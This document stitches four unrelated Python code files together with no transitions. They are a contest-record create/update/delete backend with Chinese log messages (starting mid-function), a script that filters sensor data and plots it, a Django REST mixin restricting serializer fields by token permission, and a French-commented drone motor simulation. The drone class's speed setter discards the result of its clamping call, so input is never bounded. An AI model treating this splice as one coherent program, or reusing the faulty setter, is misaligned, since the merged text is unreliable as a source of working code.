        contest.budget = contest_form.budget.data
        contest.budget_text = contest_form.budget_text.data
        contest.student_num = contest_form.student_num.data
        contest.teacher_num = contest_form.teacher_num.data
        contest.subject = contest_form.subject.data
        city = request.form.get('prov', '') + \
               request.form.get('city', '') + \
               request.form.get('dist', '')
        contest.place = city + contest_form.place.data
        series = ContestSeries.get_by_id(contest_form.series_id.data)
        if series:
            contest.series = series
        contest.save()
        current_app.logger.info(u'录入竞赛 %s 成功', contest.name_cn)
        return 'OK'
    except Exception:
        current_app.logger.error(u'录入竞赛 %s 失败', contest_form.name_cn.data)
        current_app.logger.error(traceback.format_exc())
        return 'FAIL'

def update_contest(contest, contest_form, request):
    try:
        contest.name_cn = contest_form.name_cn.data
        contest.name_en = contest_form.name_en.data
        contest.level = contest_form.level.data
        contest.type = contest_form.type.data
        contest.department = contest_form.department.data
        contest.site = contest_form.site.data
        contest.organizer = contest_form.organizer.data
        contest.co_organizer = contest_form.co_organizer.data
        contest.year = contest_form.year.data
        contest.start_date = contest_form.date_range.data[0]
        contest.end_date = contest_form.date_range.data[1]
        contest.budget = contest_form.budget.data
        contest.budget_text = contest_form.budget_text.data
        contest.student_num = contest_form.student_num.data
        contest.teacher_num = contest_form.teacher_num.data
        contest.subject = contest_form.subject.data
        city = request.form.get('prov', '') + \
               request.form.get('city', '') + \
               request.form.get('dist', '')
        contest.place = city + contest_form.place.data
        series = ContestSeries.get_by_id(contest_form.series_id.data)
        if series:
            contest.series = series
        contest.save()
        current_app.logger.info(u'更新竞赛 %s 成功', contest.name_cn)
        return 'OK'
    except Exception:
        current_app.logger.error(u'更新竞赛 %s 失败', contest_form.name_cn.data)
        current_app.logger.error(traceback.format_exc())
        return 'FAIL'

def delete_contest(contest):
    try:
        for awards in contest.awards.all():
            for res in awards.resources.all():
                Resource.delete_res(res)
        contest.remove()
        current_app.logger.info(u'删除竞赛成功')
        return 'OK'
    except Exception:
        current_app.logger.error(u'删除竞赛失败')
        current_app.logger.error(traceback.format_exc())
        return 'FAIL'


import pandas as pd
import matplotlib.pyplot as plt
import numpy as np
plt.rcParams['font.sans-serif'] = ['SimHei']
plt.rcParams['axes.unicode_minus'] = False  # 解决保存图像中汉字显示为方格的问题
file_name = 'merge_new.csv'
tem_data = pd.read_csv(file_name,encoding='GBK')
#tem_data.plot()
#plt.show()
data_1 = tem_data['value推力轴瓦'][4200:].values
#filter1 = np.array([1/3,1/3,1/3])
data_2 = tem_data['value上导轴瓦']
def np_move_avg(a,n,mode="same"):

    return(np.convolve(a, np.ones((n,))/n, mode=mode))
filter_size = 10
data_1_new = np_move_avg(data_1,filter_size)
plt.plot(range(len(data_1_new)),data_1_new,label = '均值滤波')
#plt.plot(range(len(data_1)),data_1)
#plt.show()

#Median filtering of one-dimensional time series
def median_filter(data,filter_size):
    data_new = []
    for i in range(len(data)):
        if i < filter_size:
            data_new.append(np.median(data[:i+1]))
        else:
            data_new.append(np.median(data[i-filter_size:i+1]))
    return data_new

data_1_new1 = median_filter(data_1,filter_size)
plt.plot(range(len(data_1_new1)),data_1_new1, label = '中值滤波')
plt.plot(range(len(data_1)),data_1 , label = '原数据')
plt.legend()
plt.show()


import logging
from collections import defaultdict
from typing import Dict, List, Tuple

from glom import SKIP, GlomError, glom
from rest_framework import fields, serializers

from objects.token.constants import PermissionModes

logger = logging.getLogger(__name__)

ALL_FIELDS = ["*"]

def build_spec(fields, ui=False) -> dict:
    spec = {}
    for spec_field in fields:
        build_spec_field(spec, name=spec_field, value=spec_field, ui=ui)
    return spec

def build_spec_field(spec, name, value, ui):
    if "__" in name:
        parent, field_name = name.split("__", 1)
        spec[parent] = spec.get(parent, {})
        build_spec_field(spec[parent], field_name, value, ui)
    else:
        # SKIP data attributes which are not required
        spec_val = (
            value.replace("__", ".")
            if not value.startswith("record__data__")
            else lambda x: glom(x, value.replace("__", "."), default=SKIP)
        )
        spec[name] = value if ui else spec_val

def get_field_names(data: Dict[str, fields.Field]) -> List[str]:
    """return list of names for all serializer fields. Supports nesting"""
    names_and_sources = get_field_names_and_sources(data)
    return [name for name, source in names_and_sources]

def get_field_names_and_sources(data: Dict[str, fields.Field]) -> List[Tuple[str, str]]:
    """return list of (name, source) for all serializer fields. Supports nesting"""
    names_and_sources = []
    for key, value in data.items():
        if isinstance(value, dict):
            names_and_sources += [
                (f"{key}__{name}", source.replace(".", "__"))
                for name, source in get_field_names_and_sources(value)
            ]
        elif isinstance(value, serializers.Serializer):
            names_and_sources += [
                (f"{key}__{name}", source.replace(".", "__"))
                for name, source in get_field_names_and_sources(value.fields)
            ]
        elif isinstance(value, fields.Field):
            names_and_sources.append((key, value.source.replace(".", "__")))
        else:
            names_and_sources.append((key, key))

    return names_and_sources

class NotAllowedDict(defaultdict):
    def pretty(self):
        if len(self.keys()) == 0:
            return ""
        if len(self.keys()) == 1:
            value = list(self.values())[0]
            return ",".join(value)
        return "; ".join([f"{key}={','.join(value)}" for (key, value) in self.items()])

class DynamicFieldsMixin:
    """
    this mixin allows selecting fields for serializer in the query param
    It also supports nested fields.
    """

    def __init__(self, *args, **kwargs):
        super().__init__(*args, **kwargs)

        self.not_allowed = NotAllowedDict(set)

    def to_representation(self, instance):
        data = super().to_representation(instance)

        allowed_fields = self.get_allowed_fields(instance)
        query_fields = self.get_query_fields()

        if not query_fields and allowed_fields == ALL_FIELDS:
            return data

        #  limit all data to the allowed
        if allowed_fields == ALL_FIELDS:
            allowed_data = data
        else:
            spec_allowed = build_spec(allowed_fields)
            try:
                allowed_data = glom(data, spec_allowed)
            except GlomError as exc:
                raise serializers.ValidationError(
                    f"Fields in the configured authorization are absent in the data: {exc.args[0]}"
                )

        #  limit allowed data to requested in fields= query param
        if not query_fields:
            result_data = allowed_data
            not_allowed = set(get_field_names(data)) - set(get_field_names(result_data))
            if not_allowed:
                self.not_allowed[
                    f"{instance.object.object_type.url}({instance.version})"
                ] |= not_allowed
        else:
            spec_query = build_spec(query_fields)
            try:
                result_data = glom(allowed_data, spec_query)
            except GlomError as exc:
                raise serializers.ValidationError(
                    f"'fields' query parameter has invalid or unauthorized values: {exc.args[0]}"
                )
            not_allowed = set(get_field_names(glom(data, spec_query))) - set(
                get_field_names(result_data)
            )
            if not_allowed:
                self.not_allowed[
                    f"{instance.object.object_type.url}({instance.version})"
                ] |= not_allowed

        return result_data

    def get_query_fields(self) -> list:
        request = self.context.get("request")
        if not request:
            return []

        fields = request.query_params.get("fields")
        if not fields:
            return []

        return list(set(field.strip() for field in fields.split(",")))

    def get_allowed_fields(self, instance) -> list:
        request = self.context.get("request")

        # if not instance -> create or update -> all fields are allowed
        if not request:
            return ALL_FIELDS

        # use prefetch_related for DB optimization
        if getattr(instance.object.object_type, "token_permissions", None):
            permission = instance.object.object_type.token_permissions[0]
        else:
            permission = request.auth.get_permission_for_object_type(
                instance.object.object_type
            )
        if permission.mode == PermissionModes.read_only and permission.use_fields:
            return permission.fields.get(str(instance.version), [])

        return ALL_FIELDS


#!/usr/bin/python

# Auteur : vledoze
# Date   : 16/05/2017

from env_simu import *

class Motor(object):
    """ Classe Motor : Definition d'un moteur
    """

    def __init__(self, l, e, y, h, angle, sens_cap, sens_gite, sens_roulis):
        """ Constructeur
        """
        #Vecteur d'etat
        self.__w = 0.
        #Derivee vecteur d'etat
        self.__dw = 0.
        #Position du moteur
        self.__l = l         #(l+e, y, h): position dans le repere drone a plat
        self.__e = e
        self.__y = y
        self.__h = h
        self.__pos = np.matrix('0; 0; 0')
        self.angle = angle
        #Dynamique
        self.__force = 0.
        self.__vforce = np.zeros(3)
        self.__moment = 0.
        self.__vmoment = np.zeros(3)
        #Caracteristiques mecaniques
        self.__inert  = 0.001     #inertie des helices
        self.__vitmax = 30000*D2R #vitesse max des moteurs (5000tr/min)
        self.__formax = 0.5*G     #force max a 500g de pousse
        #sens de rotation
        self.__sens_cap = sens_cap       #signe des vitesses de rotation des helices pour prise en compte du cap (-1, 1)
        self.__sens_gite = sens_gite     #signe pour prise en compte du gite
        self.__sens_roulis = sens_roulis #signe pour prise en compte du roulis

    @property
    def angle(self):
        """ Angle courant du bras moteur
        """
        return self.__angle

    @angle.setter
    def angle(self, angle):
        """ Angle commande pour le bras moteur
        """
        #angle d'inclinaison des moteurs (0: a plat | 90: vertical)
        self.__angle  = minmax(angle, 0., 90.)
        self.__pos[0] = self.__l + self.__e*cos(self.__angle) - self.__h*sin(self.__angle)
        self.__pos[1] = self.__y
        self.__pos[2] = self.__h*cos(self.__angle) + self.__e*sin(self.__angle)

    @property
    def w(self):
        """ Vitesse de rotation du moteur
        """
        return self.__w

    @w.setter
    def w(self, value):
        """ Commande en vitesse en % de vitesse max
        """
        #value est en pourcentage de puissance
        value = float(value)/100.
        minmax(value, 0., 100.)
        #On fait tourner le moteur
        self.__dw = (self.__vitmax*value - self.__w)/DT #Derivee de la vitesse de rotation
        self.__w = self.__vitmax*value #vitesse de rotation

    @property
    def sens_cap(self):
        return self.__sens_cap

    @property
    def sens_roulis(self):
        return self.__sens_roulis

    @property
    def sens_gite(self):
        return self.__sens_gite

    @property
    def vforce(self):
        """ Force generee par le moteur
        """
        #Bilan mecanique moteur (force)
        self.__force = self.__formax*self.__w/self.__vitmax
        self.__vforce = np.matrix(
            [[self.__force*sin(self.__angle)],
             [0.],
             [-self.__force*cos(self.__angle)]])
        return self.__vforce

    @property
    def vmoment(self):
        """ Moment generee par le moteur
        """
        #Bilan mecanique moteur (moment)
        self.__moment = self.__sens_cap*self.__inert*self.__dw
        self.__vmoment = np.matrix(
            [[self.__moment*cos(self.__angle)],
             [0.],
             [self.__moment*sin(self.__angle)]])
        self.__vmoment += np.cross(self.__pos, self.__vforce, axis=0)
        return self.__vmoment